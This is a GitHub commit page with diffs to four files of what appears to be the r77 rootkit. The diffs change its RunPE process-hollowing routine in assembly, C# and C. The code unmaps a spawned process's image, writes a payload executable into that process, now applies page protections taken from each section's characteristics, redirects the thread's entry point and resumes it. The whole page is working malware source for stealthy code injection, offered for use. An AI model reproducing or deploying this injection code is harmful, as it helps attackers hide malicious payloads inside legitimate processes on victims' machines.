Skip to content

Commit 2d0a4cc

Browse files
author
bytecode77
committed
RunPE: Set page protection from section characteristics
1 parent 5077b0e commit 2d0a4cc

File tree

4 files changed

+185
-60
lines changed

4 files changed

+185
-60
lines changed

InstallShellcode/RunPE.asm

+1-1
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ proc RunPE Executable:DWORD
5858
test eax, eax
5959
jz .C_retry_terminate
6060

61-
; Write section headers
61+
; Write headers
6262
pebcall PEB_Kernel32Dll, PEB_WriteProcessMemory, [ProcessInformation + PROCESS_INFORMATION.hProcess], [ImageBase], [Executable], [SizeOfHeaders], NULL
6363
test eax, eax
6464
jz .C_retry_terminate

Stager/RunPE.cs

+55-2
Original file line numberDiff line numberDiff line change
@@ -67,21 +67,31 @@ public static void Run(string path, string commandLine, byte[] payload, int pare
6767

6868
IntPtr sizeOfImagePtr = (IntPtr)sizeOfImage;
6969
if (NtAllocateVirtualMemory(process, ref imageBase, IntPtr.Zero, ref sizeOfImagePtr, 0x3000, 0x40) < 0 ||
70-
NtWriteVirtualMemory(process, imageBase, payload, sizeOfHeaders, IntPtr.Zero) < 0) throw new Exception();
70+
NtWriteVirtualMemory(process, imageBase, payload, sizeOfHeaders, IntPtr.Zero) < 0 ||
71+
!VirtualProtectEx(process, imageBase, (UIntPtr)sizeOfHeaders, 2, out _)) throw new Exception();
7172

7273
for (short j = 0; j < numberOfSections; j++)
7374
{
7475
byte[] section = new byte[0x28];
7576
Buffer.BlockCopy(payload, ntHeaders + 0x18 + sizeOfOptionalHeader + j * 0x28, section, 0, 0x28);
7677

78+
byte[] nextSection = new byte[0x28];
79+
if (j < numberOfSections - 1)
80+
{
81+
Buffer.BlockCopy(payload, ntHeaders + 0x18 + sizeOfOptionalHeader + (j + 1) * 0x28, nextSection, 0, 0x28);
82+
}
83+
7784
int virtualAddress = BitConverter.ToInt32(section, 0xc);
7885
int sizeOfRawData = BitConverter.ToInt32(section, 0x10);
7986
int pointerToRawData = BitConverter.ToInt32(section, 0x14);
87+
uint characteristics = BitConverter.ToUInt32(section, 0x24);
88+
int nextSectionVirtualAddress = BitConverter.ToInt32(nextSection, 0xc);
8089

8190
byte[] rawData = new byte[sizeOfRawData];
8291
Buffer.BlockCopy(payload, pointerToRawData, rawData, 0, rawData.Length);
8392

8493
if (NtWriteVirtualMemory(process, (IntPtr)((long)imageBase + virtualAddress), rawData, rawData.Length, IntPtr.Zero) < 0) throw new Exception();
94+
if (!VirtualProtectEx(process, (IntPtr)((long)imageBase + virtualAddress), (UIntPtr)(j == numberOfSections - 1 ? sizeOfImage - virtualAddress : nextSectionVirtualAddress - virtualAddress), SectionCharacteristicsToProtection(characteristics), out _)) throw new Exception();
8595
}
8696

8797
IntPtr thread = IntPtr.Size == 4 ? (IntPtr)BitConverter.ToInt32(processInfo, 4) : (IntPtr)BitConverter.ToInt64(processInfo, 8);
@@ -120,7 +130,48 @@ public static void Run(string path, string commandLine, byte[] payload, int pare
120130
break;
121131
}
122132
}
123-
133+
/// <summary>
134+
/// Converts an IMAGE_SECTION_HEADER.Characteristics flag to a memory page protection flag.
135+
/// </summary>
136+
/// <param name="characteristics">The characteristics of a section.</param>
137+
/// <returns>
138+
/// A <see cref="uint" /> value to be used with VirtualProtectEx.
139+
/// </returns>
140+
private static uint SectionCharacteristicsToProtection(uint characteristics)
141+
{
142+
if ((characteristics & 0x20000000) != 0 && (characteristics & 0x40000000) != 0 && (characteristics & 0x80000000) != 0)
143+
{
144+
return 0x40;
145+
}
146+
else if ((characteristics & 0x20000000) != 0 && (characteristics & 0x40000000) != 0)
147+
{
148+
return 0x20;
149+
}
150+
else if ((characteristics & 0x20000000) != 0 && (characteristics & 0x80000000) != 0)
151+
{
152+
return 0x80;
153+
}
154+
else if ((characteristics & 0x40000000) != 0 && (characteristics & 0x80000000) != 0)
155+
{
156+
return 0x4;
157+
}
158+
else if ((characteristics & 0x20000000) != 0)
159+
{
160+
return 0x10;
161+
}
162+
else if ((characteristics & 0x40000000) != 0)
163+
{
164+
return 0x2;
165+
}
166+
else if ((characteristics & 0x80000000) != 0)
167+
{
168+
return 0x8;
169+
}
170+
else
171+
{
172+
return 0x1;
173+
}
174+
}
124175
/// <summary>
125176
/// Allocates memory in the current process with the specified size. If this is a 64-bit process, the memory address is aligned by 16.
126177
/// </summary>
@@ -136,6 +187,8 @@ private static IntPtr Allocate(int size)
136187
private static extern IntPtr OpenProcess(int access, bool inheritHandle, int processId);
137188
[DllImport("kernel32.dll")]
138189
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, IntPtr startupInfo, byte[] processInformation);
190+
[DllImport("kernel32.dll")]
191+
private static extern bool VirtualProtectEx(IntPtr process, IntPtr address, UIntPtr size, uint newProtect, out uint oldProtect);
139192
[DllImport("ntdll.dll", SetLastError = true)]
140193
private static extern int NtAllocateVirtualMemory(IntPtr process, ref IntPtr address, IntPtr zeroBits, ref IntPtr size, uint allocationType, uint protect);
141194
[DllImport("ntdll.dll")]

r77api/r77win.c

+121-57
Original file line numberDiff line numberDiff line change
@@ -705,6 +705,13 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
705705
// Cannot inject 64-bit payload from 32-bit process.
706706
return FALSE;
707707
}
708+
709+
if (!isPayload64Bit && BITNESS(64) && !IsAtLeastWindows10())
710+
{
711+
// Wow64 RunPE requires at least Windows 10.
712+
//TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
713+
return FALSE;
714+
}
708715
}
709716
else
710717
{
@@ -733,49 +740,63 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
733740
LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
734741
if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
735742
{
736-
BOOL sectionsWritten = TRUE;
737-
738-
for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
743+
DWORD oldProtect;
744+
if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect))
739745
{
740-
PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER);
741-
742-
if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL))
746+
BOOL sectionsWritten = TRUE;
747+
PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders);
748+
for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
743749
{
744-
sectionsWritten = FALSE;
745-
break;
750+
if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL))
751+
{
752+
sectionsWritten = FALSE;
753+
break;
754+
}
755+
756+
if (!VirtualProtectEx(
757+
processInformation.hProcess,
758+
(LPBYTE)imageBase + sectionHeaders[j].VirtualAddress,
759+
j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress,
760+
SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics),
761+
&oldProtect
762+
))
763+
{
764+
sectionsWritten = FALSE;
765+
break;
766+
}
746767
}
747-
}
748768

749-
if (sectionsWritten)
750-
{
751-
LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE);
752-
if (context)
769+
if (sectionsWritten)
753770
{
754-
context->ContextFlags = CONTEXT_FULL;
755-
756-
if (GetThreadContext(processInformation.hThread, context))
771+
LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE);
772+
if (context)
757773
{
758-
#ifdef _WIN64
759-
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + 16), &ntHeaders->OptionalHeader.ImageBase, 8, NULL))
774+
context->ContextFlags = CONTEXT_FULL;
775+
776+
if (GetThreadContext(processInformation.hThread, context))
760777
{
761-
context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
762-
if (SetThreadContext(processInformation.hThread, context) &&
763-
ResumeThread(processInformation.hThread) != -1)
778+
#ifdef _WIN64
779+
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + 16), &ntHeaders->OptionalHeader.ImageBase, 8, NULL))
764780
{
765-
return TRUE;
781+
context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
782+
if (SetThreadContext(processInformation.hThread, context) &&
783+
ResumeThread(processInformation.hThread) != -1)
784+
{
785+
return TRUE;
786+
}
766787
}
767-
}
768788
#else
769-
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
770-
{
771-
context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
772-
if (SetThreadContext(processInformation.hThread, context) &&
773-
ResumeThread(processInformation.hThread) != -1)
789+
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
774790
{
775-
return TRUE;
791+
context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
792+
if (SetThreadContext(processInformation.hThread, context) &&
793+
ResumeThread(processInformation.hThread) != -1)
794+
{
795+
return TRUE;
796+
}
776797
}
777-
}
778798
#endif
799+
}
779800
}
780801
}
781802
}
@@ -785,47 +806,55 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
785806
{
786807
// Spawn 32-bit process from this 64-bit process.
787808

788-
if (!IsAtLeastWindows10())
789-
{
790-
//TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
791-
return FALSE;
792-
}
793-
794809
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
795810
R77_NtUnmapViewOfSection(processInformation.hProcess, ntHeaders->OptionalHeader.ImageBase);
796811

797812
LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
798813
if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
799814
{
800-
BOOL sectionsWritten = TRUE;
801-
802-
for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
815+
DWORD oldProtect;
816+
if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect))
803817
{
804-
PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER);
805-
806-
if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL))
818+
BOOL sectionsWritten = TRUE;
819+
PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders);
820+
for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
807821
{
808-
sectionsWritten = FALSE;
809-
break;
822+
if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL))
823+
{
824+
sectionsWritten = FALSE;
825+
break;
826+
}
827+
828+
if (!VirtualProtectEx(
829+
processInformation.hProcess,
830+
(LPBYTE)imageBase + sectionHeaders[j].VirtualAddress,
831+
j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress,
832+
SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics),
833+
&oldProtect
834+
))
835+
{
836+
sectionsWritten = FALSE;
837+
break;
838+
}
810839
}
811-
}
812840

813-
if (sectionsWritten)
814-
{
815-
PWOW64_CONTEXT context = (PWOW64_CONTEXT)VirtualAlloc(NULL, sizeof(WOW64_CONTEXT), MEM_COMMIT, PAGE_READWRITE);
816-
if (context)
841+
if (sectionsWritten)
817842
{
818-
context->ContextFlags = WOW64_CONTEXT_FULL;
819-
820-
if (Wow64GetThreadContext(processInformation.hThread, context))
843+
PWOW64_CONTEXT context = (PWOW64_CONTEXT)VirtualAlloc(NULL, sizeof(WOW64_CONTEXT), MEM_COMMIT, PAGE_READWRITE);
844+
if (context)
821845
{
822-
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
846+
context->ContextFlags = WOW64_CONTEXT_FULL;
847+
848+
if (Wow64GetThreadContext(processInformation.hThread, context))
823849
{
824-
context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
825-
if (Wow64SetThreadContext(processInformation.hThread, context) &&
826-
ResumeThread(processInformation.hThread) != -1)
850+
if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL))
827851
{
828-
return TRUE;
852+
context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
853+
if (Wow64SetThreadContext(processInformation.hThread, context) &&
854+
ResumeThread(processInformation.hThread) != -1)
855+
{
856+
return TRUE;
857+
}
829858
}
830859
}
831860
}
@@ -847,6 +876,41 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
847876

848877
return FALSE;
849878
}
879+
DWORD SectionCharacteristicsToProtection(DWORD characteristics)
880+
{
881+
if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE))
882+
{
883+
return PAGE_EXECUTE_READWRITE;
884+
}
885+
else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ))
886+
{
887+
return PAGE_EXECUTE_READ;
888+
}
889+
else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_WRITE))
890+
{
891+
return PAGE_EXECUTE_WRITECOPY;
892+
}
893+
else if ((characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE))
894+
{
895+
return PAGE_READWRITE;
896+
}
897+
else if (characteristics & IMAGE_SCN_MEM_EXECUTE)
898+
{
899+
return PAGE_EXECUTE;
900+
}
901+
else if (characteristics & IMAGE_SCN_MEM_READ)
902+
{
903+
return PAGE_READONLY;
904+
}
905+
else if (characteristics & IMAGE_SCN_MEM_WRITE)
906+
{
907+
return PAGE_WRITECOPY;
908+
}
909+
else
910+
{
911+
return PAGE_NOACCESS;
912+
}
913+
}
850914
DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName)
851915
{
852916
BOOL is64Bit;

r77api/r77win.h

+8
Original file line numberDiff line numberDiff line change
@@ -261,6 +261,14 @@ BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit);
261261
/// </returns>
262262
BOOL RunPE(LPCWSTR path, LPBYTE payload);
263263
/// <summary>
264+
/// Converts an IMAGE_SECTION_HEADER.Characteristics flag to a memory page protection flag.
265+
/// </summary>
266+
/// <param name="characteristics">The characteristics of a section.</param>
267+
/// <returns>
268+
/// A DWORD value to be used with VirtualProtectEx.
269+
/// </returns>
270+
DWORD SectionCharacteristicsToProtection(DWORD characteristics);
271+
/// <summary>
264272
/// Gets the file offset of an exported function from an executable file.
265273
/// </summary>
266274
/// <param name="image">A buffer with the executable file.</param>

0 commit comments

Comments
 (0)